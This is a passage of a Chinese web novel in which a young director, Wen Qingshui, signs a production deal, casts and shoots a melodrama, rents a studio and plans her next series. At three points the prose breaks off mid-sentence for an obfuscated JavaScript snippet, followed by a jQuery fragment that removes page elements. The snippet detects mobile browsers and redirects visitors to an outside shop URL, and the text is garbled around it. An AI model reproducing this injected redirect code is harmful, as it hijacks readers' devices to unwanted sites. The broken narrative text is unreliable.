温清水站在原地,听着她们的脚步声渐远,直到消失在书店门口。 她合上手里的书,抱在胸前。 窗外,暮色又沉了些。 街灯一盏盏亮起来,摇晃的树在地面投下纷杂的影。 有人夸奖。 就说明,她的作品真的有人喜欢。 走出书店,她拐进了旁边一家甜品店。 她选了一块栗子蒙布朗,小小的,顶着一圈奶油,像戴了顶毛茸茸的帽子。 “今天有开心的事?”店员一边包装一边问。 “嗯。”温清水说。 拎着书和蛋糕,她脚步轻快地往家走。 路灯把她的影子拉得很长,又在下一盏灯下缩短,周而复始。 手机在这时震动起来,一声接一声,密集得像雨点。 她拿出来看。 是她们三人的小群,乔舒然和蔡妍的消息正一条条蹦出来。 乔舒然:「破百万了!第二天就破百万点赞了」 乔舒然:「今天已经三百万了!」 蔡妍:「我现在打开短视频软件,十个里八个是《春日负暄》的剪辑」 蔡妍:「太会拍了你,这完全戳中了小说党想要的虐感」 乔舒然:「我小妹今天也在看,还问我认不认识温编」 蔡妍:「真的,清水,我早该劝你改行。当导演多香」 字里行间都是雀跃,隔着屏幕都能想象出她们的表情。 温清水站在路灯下,看着那些消息,一条条往上翻。 风吹过来,吹乱了她的头发。 她没管,很轻地笑了。 开心吗? 当然开心。 但更多的是,一种沉甸甸的踏实感。 她走了很久的路,终于看见第一块路标。虽然离终点还远,但至少知道,方向是对的。 到家时,外卖已经放在门口了。 是她常点的那家米线,包装袋上凝结着细密的水珠。 手机又响了。这次是李总监。 温清水接起来,“李总监。” “温编。”李总监的声音透过听筒传来,带着笑意,“没打扰你休息吧?” “没有,您说。” “《春日负暄》的数据我看到了,非常好。”李总监说,“上线四天,累计播放量已经破五千万,付费转化率超出预期百分之三十。草莓平台那边很满意,已经在商量续约和开发周边的事了。” 温清水握着筷子,指尖微微收紧。 “谢谢您。”她说,“没有您的支持,不会有这些。” “是你做得好。”李总监顿了顿,语气认真了些,“温编,我今天打电话,是想正式问问你,有没有兴趣和晏氏长期合作?” 温清水没立刻回答。 “《春日负暄》的成功,证明了你对内容和市场的把控能力。”李总监继续说,“晏氏这边,可以为你提供稳定的资金支持、发行渠道,还有法务和后勤保障。我们可以签一个三年五部的框架协议,具体项目由你主导,晏氏只做必要的把关和支持。” 她每说一句,温清水的心就跳快一拍。 三年五部。 稳定的支持。 这正是她现在最需要的。 温清水开口,声音有些哑,“我很荣幸。” “那太好了。”李总监笑了,“明天有空吗?我们面谈细节。” “有。” “好,明天见。” 挂了电话,温清水靠在椅背上,长长地舒了一口气。 米线已经有点凉了,但她不介意。 墙上贴着一张照片,是她和桑晚的合照。 大学时拍的,在学校后面的小山坡上,两人都穿着白T恤,对着镜头笑得没心没肺。 桑晚搂着她的肩,眼睛弯成月牙。 “晚晚,”她轻声说,“我要更努力才行。” 接下来的几天,温清水没让自己闲着。 《春日负暄》的成功是好事,但不能是终点。 她很清楚,一部短剧的热度最多维持一个月,之后呢?如果没有新作品跟上,很快就会被遗忘。 她锁定了下一部剧的题材:虐恋,BE。 一个很有挑战的选择。 现在市场上甜宠当道,观众喊着要糖,但真正能让人记住的,往往是那些刻骨铭心的痛。 她开始看演员的剪辑。 一部接一部,一个片段接一个片段。 女主角,她很快有了方向,苏念,二十六岁,演过三十多部戏,大部分是甜宠剧里的女二或女配。 不温不火,演技被评价为“合格但不出彩”。 但温清水注意到,她演过的三部虐恋戏,表现都很好。 尤其是其中一部民国戏,她饰演的歌女在雨夜送别爱人,没有大哭,只是站在窗边,看着车灯远去,最后慢慢滑坐在地上,手指抠着地板,指甲断了都没发觉。 那种克制下的崩坏, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165542|196696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很打动人心。 男主的人选却让她犯了难。 市面上活跃的男演员,表演大多流于表面。 哭就是红眼眶,痛就是皱眉,恨就是咬牙。太直白,太单调。 她翻了很久,目光最终落在一个名字上:陆子谦。 二十六岁,演过几部长剧的男三男四,最近在一部小爆的网剧里饰演深情男二,有了点水花。他最近参加了一个演技类综艺,不止一次提到“想尝试短剧,想演有复杂性的角色”。 温清水找了他的片段来看。 有一场戏,是他站在远处看着女主出嫁。 他知道自己不是能给她幸福的人,所以只是站着,看着。风很大,吹起他的衣摆和头发,他站得像一尊雕塑。直到女主上了花轿,帘子放下,侍卫叫他,他才转身。 转身的瞬间,一滴泪垂直落下。 没有表情,没有声音,只有那滴泪。 温清水反复看了三遍。 就是他了。 人选定了,问题也来了。 苏念是不温不火的女演员,陆子谦是从长剧“下凡”到短剧,中间涉及片酬、档期、宣传配合,太多需要协调的事。 温清水揉了揉太阳穴,觉得有点累。 她索性关掉电脑,打开手机。 乔舒然之前发来的那个吐槽视频的链接,她误点了关注,现在一打开软件,第一个推送就是那个女生的新视频。 头像是一片星空,ID叫“向山野”。 最新一期,吐槽的是一款新上市的手游。 画面里,女性角色穿着几乎遮不住身体的铠甲,动作间某些部位晃动得违反物理定律。 女生的声音透过耳机传来,清脆,语速快,但没有脏字: “我合理怀疑这个游戏的设计师,身体结构异于常人。他的排泄系统大概是反向工作的,导致某些代谢产物逆行回了颅腔,又从他的指缝间漏出来,糊满了整个美术组的设计稿。” 弹幕飘过一片“哈哈哈哈”。 “每次看到这种设计,我都在想,”女生继续说,“他们是多怕玩家注意不到这是‘女性角色’?一定要用这种物理外挂来强调?还是说,在他们的认知里,女性除了这些,就没有其他值得被看见的特质了?” 评论区照例有反驳: 「不爱看就别玩,本来就是给男生玩的游戏」 向山野回复得很快:「它从宣发到定位,有写‘男性专属’四个字吗?我花了同样的钱,凭什么不能评价?要不这样,你去找开发商,让他们在游戏图标上加个‘♀勿入’,我立刻删视频道歉,怎么样」 「女性向游戏里男主也穿得少啊,怎么不说」 向山野:「第一,女性向游戏男性角色暴露,服务的是女性审美,本质是女性在‘凝视’男性。而这款游戏,是男性设计师在按照自己的臆想‘塑造’并‘凝视’女性。第二,如果真有女性向游戏把男性角色设计成无脑卖肉形象,我照样骂。第三,讨论问题就事论事,别转移话题」 逻辑清晰,反击精准。 温清水看着,目光里带了点欣赏。 如果她有向山野一半的勇敢和锋利,很多问题会不会简单得多。 夜深了,城市安静下来。 她看着窗外,手里握着手机。 屏幕上,向山野的视频暂停在最后一帧,那个女生比了个“结束”的手势,眼神明亮,带着点挑衅的笑。 温清水看了一会,最后关掉屏幕。 墙上的照片里,桑晚在笑。 她也笑了笑,轻声说:“我会的。” 我会更努力。 走更远的路,讲更好的故事。 直到有一天,能让你醒来时看见,这个世界,有了一点不一样。 14. 合作 星光传媒的写字楼立在CBD核心区,玻璃幕墙搭建起这个娱乐中心。 温清水走进旋转门时,前台姑娘抬头对她笑了笑,显然已提前打过招呼。 “温导,李总监在十七楼等您。” “谢谢。” 电梯平稳上升,她看着逐渐清晰的大楼。 短剧的成功是敲门砖,但接下来的合作,才是真正的开始。 李总监的办公室很宽敞,她起身迎过来。 “温导,欢迎。” “李总监,您客气。”她礼貌回应。 两人在会客区坐下,秘书端来两杯清茶。 白瓷杯里茶叶舒展,热气袅袅。 李总监从文件夹里抽出合同初稿,推到温清水面前。 “这是框架协议,您先看看。”她说,“晏氏对《春日负暄》的数据非常满意,所以这次合作,我们愿意给出最大程度的支持。” 温清水接过,一页页翻过去。 条款清晰,条件优厚。三年五部短剧,单部制作预算在三百万到五百万之间,具体按项目调整。 晏氏负责全部资金注入、发行渠道、宣传资源,以及音乐版权库的永久使用权。 “音乐版权这部分,”温清水抬头,“是指晏氏已有的曲库吗。” “曲库我们会持续更新,另外,如果您有特定的国外音乐版权需求,我们可以单独谈采购。”李总监微笑,“音乐是情绪的重要载体,这一点我们明白。” 温清水点点头,继续往下看。 三年期限,五部作品。 她心里默默算了一下时间。 “三年是最后期限,对吗?”她问。 “是的。”李总监端起茶杯,“但如果您能提前完成,我们当然更高兴。市场不等人,我们都明白这个道理。” 合同里还附了晏氏对内容方向的“建议”。 不是强制要求,但意思明确:希望题材多元,避免单一。 毕竟顶着“晏氏出品”的名头,总要展现些格局。 她合上合同,放回到桌面上。 “我没问题。题材方面,我确实也尝试新的领域。” “那太好了。”李总监笑意更深,“具体细节,法务会跟您团队对接。今天我们先签意向书,正式合同一周内走完流程。” 签字笔递过来,温清水接过,在末尾签下自己的名字。 搁笔的瞬间,办公室的门被轻轻推开一条缝。 一颗小脑袋探进来,眼睛亮晶晶的。 “温阿姨!” 是晏明泽。 他今天穿了件浅蓝条纹衬衫,配深色背带裤,刘海上别了一个粉色发卡。 李总监失笑,“明泽,你怎么跑来了?” “刘叔带我来的。”晏明泽走进来,很规矩地问好,“李阿姨好。” 他跑到温清水身边,仰头看她,“温阿姨,你今天真好看。” 温清水弯下腰,与他平视,“谢谢。你今天也很帅。” 晏明泽笑了,伸手轻轻扯了扯她的衣角,“温阿姨,我昨晚把《虹猫蓝兔》的绘本看完啦。你还有别的吗?” 他动作很轻,带着孩子气的亲昵。 温清水想起第一次见面时他小傲娇的样子,现在倒是熟稔多了。 “还有《大耳朵图图》。”她回想起来。 晏明泽眨了眨眼,显然没听过。 温清水抬手,食指和中指并拢,在耳侧轻轻动了动,“就是会‘动耳神功’的那个。” 她做这个动作时,眉眼微微弯着,冷清的面容柔和下来。 晏明泽看着她,伸手摸了下她的耳朵。 李总监在一旁轻咳一声,“明泽。” “哦。”晏明泽立刻收敛,但眼睛还是亮亮地看着温清水,“那温阿姨,你能借给我看看吗?我保证不会弄脏。” “当然可以。”温清水说,“下次见面带给你。” “那我今天请你吃饭。”晏明泽立刻说,“给你的一点小报酬。” 温清水下意识想婉拒,却瞥见站在门边的刘助理微微点了点头。 她于是改口,“好呀,谢谢明泽。” 餐厅选在附近一家法餐店,环境安静,桌与桌之间用绿植巧妙隔开。 晏明泽坐在靠窗的位置,小腿在空中轻轻晃着。 他真的很乖。 点餐时会认真问温清水喜欢什么,上菜后先道谢,咀嚼时不说话。 但孩子终究是孩子,安静不了多久,就开始絮絮叨叨说起最近的事。 “温阿姨,我看完《虹猫蓝兔》的动画片了。虹猫好厉害,蓝兔也好漂亮。” “嗯,他们是很棒的伙伴。”温清水点头。 “我爸爸说,明年我要去瑞士上学了。”晏明泽叉起一块小牛排,声音低了些,“不过假期可以回来。温阿姨,你到时候还会在这里吗?” 温清水放下刀叉,“应该会在。” “那就好。”他又高兴起来,“我可以回来找你玩,还可以看你的新剧。” 他说得自然,像在说一件理所当然的事。 温清水看着他,忽然想起自己小时候。 那时她最大的愿望是拥有一整套崭新的画具,而眼前这个孩子,已经要跨越大洲去求学。 世界真大。 好像有人再如何努力,也只是微小尘埃。 车里很安静,晏明泽靠在她身边睡着了,呼吸轻浅。 温清水看着窗外流动的夜景,心里那点急于求成的焦躁,忽然被熨平了些。 急什么呢,路要一步一步走。 到家已近九点,温清水换了衣服,打开电脑,开始联系演员。 女演员苏念那边回复得很快,几乎是秒回:「温导,我很喜欢这个剧本,时间档期都可以配合」 意料之中。 苏念在甜宠剧里打了太久酱油,需要一个突破性的角色。 男演员那边却留了话口。 经纪人回复:「温导,子谦对剧本很有兴趣,但想当面聊聊。您明天方便吗」 她回复:「可以。时间地点您定」 对方很快发来一个咖啡馆的地址,明天下午三点。 关掉聊天窗口,温清水点开剧本文件夹。 新剧暂定名《无声告白》。 故事不复杂,甚至有些老套:沈疏桐和林见深,高中同学,彼此暗恋,却从未说破。毕业后因家族压力契约结婚,成了最熟悉的陌生人。 她爱他,却以为他心中有个白月光。 他爱她,却因她家庭带来的误会,以为她嫁给他只为利益。 两人住在同一屋檐下,却总是隔着玻璃看对方。 她为他学做饭,烫伤了手也不说。他替她挡酒局,胃痛整夜也没提过。 所有的好都藏在阴影里,所有的痛都咽在沉默中。 两个相爱的人,在最好的年纪遇见,用最漫长的时光错过。 温清水写这个剧本时,哭湿了半包纸巾。 不是为虐而虐,而是那种“我本可以”的遗憾,太戳心。 她关掉文档,走到窗前。 对面写字楼还有零星几扇窗亮着,里面的人影忙碌个不停。 她最近一直在考虑租个工作室。 家里太小,剧组开会不方便,她也需要个正式的办公地点。 中介推了几个房源,她看中一套国贸附近的平层,180平,精装修,月租两万八。 贵,但位置和条件都合适。 存款还够。 这五年她当编剧的工资,加上《春日负暄》的分成,支付一年租金和押金绰绰有余。 她给中介回了消息,约好时间,关灯睡觉。 第二天下午,温清水提前十分钟到了咖啡馆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173731|196696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆子谦比她到得还早,坐在靠里的位置,戴了顶黑色鸭舌帽,低头看手机。 听见脚步声,他抬头,露出一张清瘦的脸。 “温导。”他起身,握手。 “陆老师。”温清水在他对面坐下。 陆子谦比屏幕上更瘦些,下颌线清晰,肤色更冷。 他开门见山:“温导,剧本我看了。林见深这个角色,很打动我。” “谢谢。”温清水说,“您有什么问题或顾虑,可以直接说。” “顾虑倒没有。”陆子谦顿了顿,“我只是好奇,您为什么会找我?我演的长剧不多,知名度也一般。” “我看了你很多作品。”温清水看着他,“女主出嫁,您站在远处看,转身时落了一滴泪。那场戏很打动我。” 陆子谦很意外,他没想过会有导演细品他的戏。 “我挑演员很主观。”温清水继续说,“而你在符合我对林见深外貌的前提下,又兼顾了演技,所以我没有不选你的理由。” 直白,坦荡,自我认知加客观评价。 陆子谦笑了笑,视线落在剧本上,“温导,您很会说服人。” “我只是说实话。”温清水轻笑。 “片酬方面……”他有点犹豫地开口。 “按市场价,不会亏待您。”温清水说,“数据方面,《春日负暄》的基础在,平台会给推荐位。但最终能走多远,看作品本身。” 陆子谦点点头,“我最近正好是空档期。团队那边,我去沟通。” “谢谢。” “不,该我谢谢您。”陆子谦端起咖啡,却没喝,“很久没人找我演这样的角色了。大家都喜欢外放的,激烈的,狗血的。林见深这种太安静了,怕观众看不懂。” “观众比我们想象中聪明。”温清水否定,“安静的感情,往往更震耳欲聋。” 陆子谦认同这种说法。 “什么时候进组,我随时准备着。” 谈妥演员,温清水赶去看房。 乔舒然已经等在楼下,见她来,兴奋地挥手。 “清水,这地段绝了!” 房子在二十层,南北通透,整面落地窗对着CBD景观。 装修是现代简约风,灰白主调,木地板,灯光系统做得极好。客厅宽敞,隔出一间会议室,还有三个独立办公室。 “主办公区可以放六到八个工位,这边做休息区,咖啡机冰箱都可以放。”中介热情介绍,“物业费包含在租金里,二十四小时安保,中央空调……” 温清水跟着她走了一圈,心里已有决定。 乔舒然趴在落地窗前,指着远处,“那儿是不是星光传媒的楼?” 温清水走过去,顺着她指的方向看。 确实,晏氏的写字楼就在两公里外,玻璃幕墙在夕阳下泛着金光。 “就这儿吧。”她说。 中介眼睛一亮,“温小姐确定?” “嗯。合同什么时候能签?” “随时。我马上准备材料,最快下周就能交接。” 送走中介,乔舒然还在兴奋地转圈,“清水,我们真的有工作室了!” 温清水站在窗前,看着窗外渐次亮起的灯火。 车流如河,高楼如林,这座城市永远忙碌,也永远充满可能。 “小乔。”她开口。 “嗯?”乔舒然回头看她。 “我们会越来越好的。”她的声音很小,却格外笃定。 乔舒然停下脚步,走到她身边,很认真地说,“当然。你可是温清水。” 暮色沉下来,天空由橙转紫,最后化作深邃的蓝。 温清水看着,想起桑晚。 如果她在,一定会跳起来抱住自己,说“我家清水真了不起”。 她轻轻吸了口气,又缓缓吐出。 无论发生什么,她都会义无反顾地走下去。 15. 事无巨细 晨光从摄影棚高窗斜照进来时,香炉里的烟正袅袅升起。 红绸盖在摄像机上的那一刻,棚里格外安静,只有远处马路上隐约的车声。 温清水站在最前面,白衬衫的袖口挽到手肘,露出清瘦的手腕。 她拿着三根香,合掌微微鞠了一躬。 “开机大吉——” 场务拉长声音喊,红绸应声落下。 掌声零零碎碎响起来,很快连成一片。 温清水转身面向整个剧组,目光从一张张脸上掠过。 有熟悉的,但更多是陌生的。 大约三十来人,站在晨光与阴影的交界处,等着她开口。 “谢谢大家加入《无声告白》。”她拿着喇叭说话,“我是温清水,导演兼编剧。未来一个月,我们一起完成这部作品。” 棚里很静,只有空调出风口的低鸣。 “我有几个要求。”她继续说,“第一,有问题随时沟通,我都会尽力解决。第二,互相体谅,赶进度不赶质量。”她顿了顿,目光扫过人群,“第三,” 她停在这里,故意留了半拍。 几个年轻女场记抬起头,眼睛里带着好奇。 “剧组里,我不希望听到任何带辱女性质的脏话。”温清水的视线掠过每一张脸,“我不举例,大家应该也知道我说的是什么。如果实在需要发泄,可以用其他词代替,或者直接找我理论。” 有人笑了一下,很快收住。 一个四十多岁穿着工装马甲的男人皱了皱眉,嘴角往下撇了撇,但没出声。 “我知道这要求听起来有点怪。”温清水看着他,又像看着所有人,“但这是我的剧组。如果觉得接受不了,”她侧身,指向门口,“现在可以离开,我会按三天工资赔偿误工费。” 没人动。 安静持续了大约五秒。 有人开始窃窃私语,声音低低的,混在风里听不清。 温清水等了一会儿,见没人动,便点了点头。 “好。那开工。” 人群散开,各就各位。 温清水走向监视器,听见身后传来极低的嘟囔:“有钱赚就行,就是有点事儿多。” 她没回头。 乔舒然凑过来,小声说,“刚才那大叔是灯光组的李师傅,老江湖了,脾气冲。” “嗯。”温清水翻开分镜本,“盯紧点,有问题及时说。” “明白。”乔舒然点头。 第一场戏在室内,沈疏桐和林见深婚后第一次同桌吃饭。 场景很简单:餐桌,两把椅子,一盏吊灯,窗外是虚拟的夜色。 但温清水在布景前站了很久。 “吊灯再低十五公分。”她对道具师说,“光要刚好打在餐桌中央,像划了条界线。” 道具师照做。 她又看向餐桌,“花瓶里的花换掉。现在这束太鲜亮,换白色洋桔梗,要有点蔫的,但还没枯。” “蔫的?”道具师愣了。 “对,像放了三天,舍不得扔那种。” 等花瓶换好,她才转向服装师,“沈疏桐今天穿的家居服,领口松垮一些,要有生活痕迹。林见深的衬衫要烫得平整,但领口扣子解开一颗,他回家后松的。” 服装师一一记下。 开拍前,温清水又走到苏念和陆子谦面前。 “这场戏的核是‘近在咫尺,远在天涯’。”她看着他们,“你们坐在一张桌子上,但眼神不要对上。沈疏桐看菜,林见深看报纸,偶尔抬眼,也只看到对方的手或者衣角。明白吗?” 苏念点头,“明白,就是最熟悉的陌生人。” “对。”温清梧认可。 陆子谦没说话,只是微微颔首。 他已经进入了林见深的状态,背挺得很直,但肩颈线条是松的。 “Action!” 场记板落下。 监视器里,苏念夹起一筷子青菜,动作很轻。陆子谦翻了一页报纸,声音窸窣。 餐桌很长,两人各坐一端,中间隔着那盏吊灯投下的光斑。 空气里有种黏稠的安静。 温清水盯着屏幕,忽然说,“停。” 所有人看她。 “陆老师,”她走过去,“你翻报纸时,手指在右下角顿一下,像想说什么,但最终没开口。” 陆子谦抬眼,“明白。” “苏念,你夹菜后筷子在空中停半秒,再慢慢放下,像突然没了胃口。” “好。” 第二次拍,那条光斑像真的成了鸿沟。 温清水看着监视器,对了,就是这种感觉。 拍完室内戏转场时,群演开始在角落里换衣服。 今天需要六个办公室背景板,服装师抱来一摞衬衫西装,按尺寸分下去。 一个年轻女孩接过衣服,愣了愣,“这不是通用的?” “按角色配的。”服装师指指标签,“你是新入职的文员,衬衫是浅蓝棉质,西装裤有点宽,跟旁边那位经理的修身三件套不一样。” 女孩摸了摸衬衫面料,眼睛亮了,“还有换衣间?” “那边。”服装师指指棚侧临时搭的布帘隔间,“男女分开,里面有镜子。” 几个群演互相看看,小声嘀咕,“以前都是厕所换的。” “还有镜子,太好了吧。” 午休时,餐车直接开进棚区。 掀开保温盖,热气混着香气扑出来:黑椒牛柳、清炒时蔬、番茄蛋汤,配糙米饭和水果盒。每人一份,装在可降解餐盒里。 蔡妍领了两份,挤到温清水身边坐下。 “晏氏这预算给得真足。”她扒了一口饭,含糊说,“以前跟组,午餐都是冷盒饭,肉都凝油。” 温清水掰开筷子,“钱要花在刀刃上。” “刀刃也包括群演的衬衫?”乔舒然笑嘻嘻凑过来。 “包括。”温清水说,“衣服合身,人才有角色感。不然镜头扫过去,全是敷衍。” 正吃着,乔舒然忽然哎了一声,掏出手机,“清水你看,《春日负暄》又上热门了!” 屏幕上是一个二创剪辑,配乐是首冷门英文歌,画面截取阮月白在雨中回头的那一秒,慢放,泪珠悬在睫毛上将落未落。 文案写:「她看他的那一眼,然后整个青春都赔进去了」 顺着链接点进去,春日负暄的点赞数已经412万了。 温清水看着那个数字,有点恍惚。 “评论区都在夸阮月白演技炸裂。”乔舒然往下滑,“还有林曦,他那个‘自卑小狗’的tag都出圈了,好多人在模仿他低头抿嘴的表情。” 温清水放下筷子,摸出自己的手机。 微信里果然有未读消息。 阮月白:「温导,今天又看到《 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178612|196696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春日》的剪辑了。真的谢谢您,那部戏让我第一次觉得,演戏是件有尊严的事」 林曦:「温导好!经纪人说我最近涨了三十万粉,好多品牌找来。我爸妈今天还打电话,说终于敢跟亲戚说我当演员了……(哭哭)」 唐棠的消息在下面:「清水,我进组啦!民国戏,演一个地下工作者,终于不是傻白甜了!导演说就是看了《春日》才找我试镜的。谢谢你当时鼓励我」 温清水一条条看过去,指尖在屏幕上停了很久。 她开始逐条回复。 给阮月白:「是你自己演得好。继续加油」 给林曦:「那是你应得的。好好选本子,别辜负粉丝」 给唐棠:「恭喜!期待你的新角色」 回完,她放下手机,继续吃饭。 牛柳有点凉了,但她吃得很慢,小口咀嚼着。 乔舒然看着她,忽然说,“清水,你在笑。” “有吗?”她有些疑惑地抬头。 “有。”蔡妍也点头,“嘴角翘着呢。” 温清水抬手摸了摸嘴角,确实是弯的。 “我只是想,”她轻声说,“原来我们做的事,真的能改变一些什么。” 哪怕只是一点点。 哪怕只是一个演员得到了认可,一个年轻人敢跟家人坦白梦想,一个女孩不用在厕所换衣服。 那就够了。 “下午第一场!”场务在外面喊,“棚B,街道景,准备了!” 温清水起身,餐盒收好扔进垃圾桶。 她走到洗手池边,掬水洗了把脸,抬头时,镜子里的人罕见的有了笑意。 走出休息区,摄影棚里已经忙碌起来。 灯光师在调光,道具组在铺街道石板,苏念和陆子谦站在一旁对词。李师傅正在架灯架,看见她,动作顿了顿,然后很别扭地点了下头。 温清水也点头回应。 她走到监视器后坐下,翻开分镜本。 蔡妍递过来一杯茶,“刚泡的,有点烫。” “谢谢。” 杯壁的温度传到掌心,暖暖的。 棚顶高窗的阳光移了位置,现在正落在她脚边,一方金灿灿的光斑。 她看着那片光,忽然想起很多年前,第一次进剧组当编剧助理时,也是这样坐在角落,看着监视器里的人来人往。 那时她觉得导演的位置好远,像隔着一条河。 现在她坐在这里。 河还没过完,但船已在她手中。 “导演,准备好了。”副导走过来。 温清水合上本子,抬起头。 “Action.” 场记板落下。 镜头里,苏念撑伞走在雨中,陆子谦站在街对面看着她。 两人之间隔着车流、雨水,还有七年没说出口的话。 温清水盯着屏幕,开口,“推近,给苏念的手部特写。” 摄影师照做。 画面聚焦在她握伞的手上,指节发白,微微颤抖。 那是剧本里没写的细节,是苏念自己加的。 温清水没喊停。 她知道,有些东西正在这个棚里生长。 不是靠命令,而是靠尊重和细节,还有那一份热乎的午饭。 窗外,午后的阳光正烈。 棚内,一场漫长的暗恋,正在镜头前无声上演。 16. 选帅哥 晨光漫过窗台时,温清水已经坐在电脑前两个小时了。 屏幕上《无声告白》的后期备注文档刚刚保存,发送邮件的进度条走到尽头,提示音在安静地“叮”了一声。 窗外正在下雨。 六月的雨来得急,打在玻璃上绽开透明的水花,又迅速蜿蜒而下,把对面写字楼的灯火晕成模糊的光斑。 温清水没有起身,只是看着雨幕,指尖握着微烫的杯壁。 手机屏幕在桌角亮起。 李总监的回复简短:「收到。辛苦了,好好休息」 没有提徐铭的采访,没有问任何多余的话。 星光传媒的态度一向如此,只认作品,不理八卦。 这或许是资本最冷漠也最可贵的一面。 彼时的李总监正在办公室看着《无声告白》的粗剪结局。 最后苏念跪在墓碑前,雨打湿了她的头发,她没哭,只是很轻地说了句“林见深,玉兰花又开了”,然后镜头拉远,满树白花在雨里颤巍巍地开。 李总监抽了张纸巾,按了按眼角。 她忽然很清晰地意识到:温清水不是那种靠运气红一把就消失的创作者。 她手里攥着一种更深沉也更坚韧的东西。 那种东西叫“懂得”,懂得人心最细微的褶皱,懂得疼痛最安静的形状。 这样的人,一定会走出更远的路。 所以她回复得很简洁,把所有的期待都压在了那四个字里:「好好休息」 但温清水没怎么休息。 工作室正式投入运营后,她大部分时间都泡在这里。 乔舒然陪着她,两人对着白板写写画画,咖啡机从早到晚咕嘟作响。 蔡妍偶尔过来,带些水果或点心,但更多时候在忙自己的事。 造型师在没项目时,本就是自由的风。 “清水,下一部拍什么?”乔舒然咬着笔帽问。 温清水调出几组行业数据。 投影在白板上的曲线图清晰地显示着女尊题材在短剧市场的生命轨迹,兴起期陡峭冲高,随后缓慢下滑,最近半年在低位徘徊,偶有小幅波动。 “看这几个节点。”温清水用激光笔指着曲线上的几次小幅回升,“每次所谓的‘回暖’,都对应一部号称‘创新’的爆款。但所谓的创新,只是在女尊框架里强调1V1,或者给女主加个‘穿书’‘重生’的设定。” 乔舒然凑近细看,“实际上呢?” “实际上还是换汤不换药。”温清水点开最近三部热播的女尊短剧,“核心卖点依然是‘一女多男’的视觉红利。剧情推进靠意外肢体接触,比如女主摔倒必被某个男主接住,沐浴必被撞见,中药必须人解。 感情转变靠女主几句‘与众不同’的现代言论,男角色扁平得像贴标签的纸片人,把能够吸引观众的标签贴完,人物弧光就结束了。” 她们快进着看完三部,每部不超过二十分钟。 乔舒然的表情从期待逐渐变得麻木。 “太单薄了。”她终于憋出一个词,“就像把快餐做成自助餐,盘子多了,但每样都难吃。” 温清水被这个比喻逗得嘴角微扬。 “问题不止在剧本。”她暂停在一个画面,四位男主演同框,女主被围在中央特写。 “你看服化道。女主和男一的造型还算精致,男二、男三的衣服料子明显廉价,男四的假发套边缘甚至能看到网纱。预算有限时资源必然倾斜,这能理解。但观众不傻,一眼就能看出谁是‘陪太子读书’。” 乔舒然托着腮,“可短剧本来就是快节奏的产物啊。也许观众要的就是这种即时的爽感,不在乎逻辑和深度?” “也许。”温清水关掉视频,房间重归安静,“但我想试试,能不能在爽感里,加点能让人记住的东西。” 她点开晏氏购买的小说版权库。 列表很长,按题材分类整齐排列,鼠标滑过“女尊”一栏时,她停住了。 “这部。”她点开详情页。 《凤鸣朝歌》,架空女尊背景。 女主楚凤翎不是常见的穿越者或重生者,而是本土成长起来的边境女将,因功高震主被猜忌,贬至荒芜北境。在那里,她遇到四个身份、立场各异的男子:敌国弃子般的质子、身负血仇的落魄神医、背景神秘的西域商人、避世多年的隐士剑客。 “感情线也合理。”乔舒然快速浏览概要,“不是一见钟情,是日久生情。每个男主和女主的羁绊都有扎实的铺垫,质子与她立场相悖却惺惺相惜,神医被她所救后默默守护,商人与她利益交织中渐生真情,剑客因她重拾道义之心。” 她的声音亮起来,“这故事里有权谋线!女主不仅要应对朝堂倾轧,还要在边境周旋各方势力,四个男主也不是单纯的恋爱对象,而是她破局的关键棋子。” “就它了。”温清水说,声音里是一种沉静的笃定。 选角是第一道难关。 女主角很快有了方向。 江挽月,二十八岁,不算顶流,但去年有部古偶小爆过。 温清水看过她演的短剧《红妆令》,演的是个被迫和亲的公主,最后亲手毒杀仇人。 那场戏里,江挽月眼里有一种破碎后又强行拼凑起来的决绝,和《凤鸣朝歌》里楚凤翎被贬后重拾信念的韧性有七分神似。 “先不急联系。”温清水说,“男主演才是真正的难题。” 四个男主演,在女尊世界观里,颜值、气质、仪态都是硬指标。 乔舒然兴致勃勃地建了个新文件夹,塞满各种短剧男演员的切片视频。 但现实很快泼来一盆冷水。 第一位,陈景曜,二十五岁,近期凭一部校园剧男二小火,短视频粉丝刚破三百万。 经纪人的回复礼貌而疏离:「感谢温导赏识,但景曜目前规划以现代剧为主,古装剧暂时不在考虑范围内」 第二位,沈清禾,走的是“古风贵公子”路线,抖音上有不少簪花抚琴的视频。 团队回复得更直白些:「清禾的形象定位是‘白月光’型,恐怕不适合参与多男竞争的戏码,担心影响后续商务合作」 第三位,陆北辰,倒是答应了,但附加条件列了一长串:必须是男一番位,戏份不能少于女主,宣传期保证单人热搜不低于三次,海报C位。 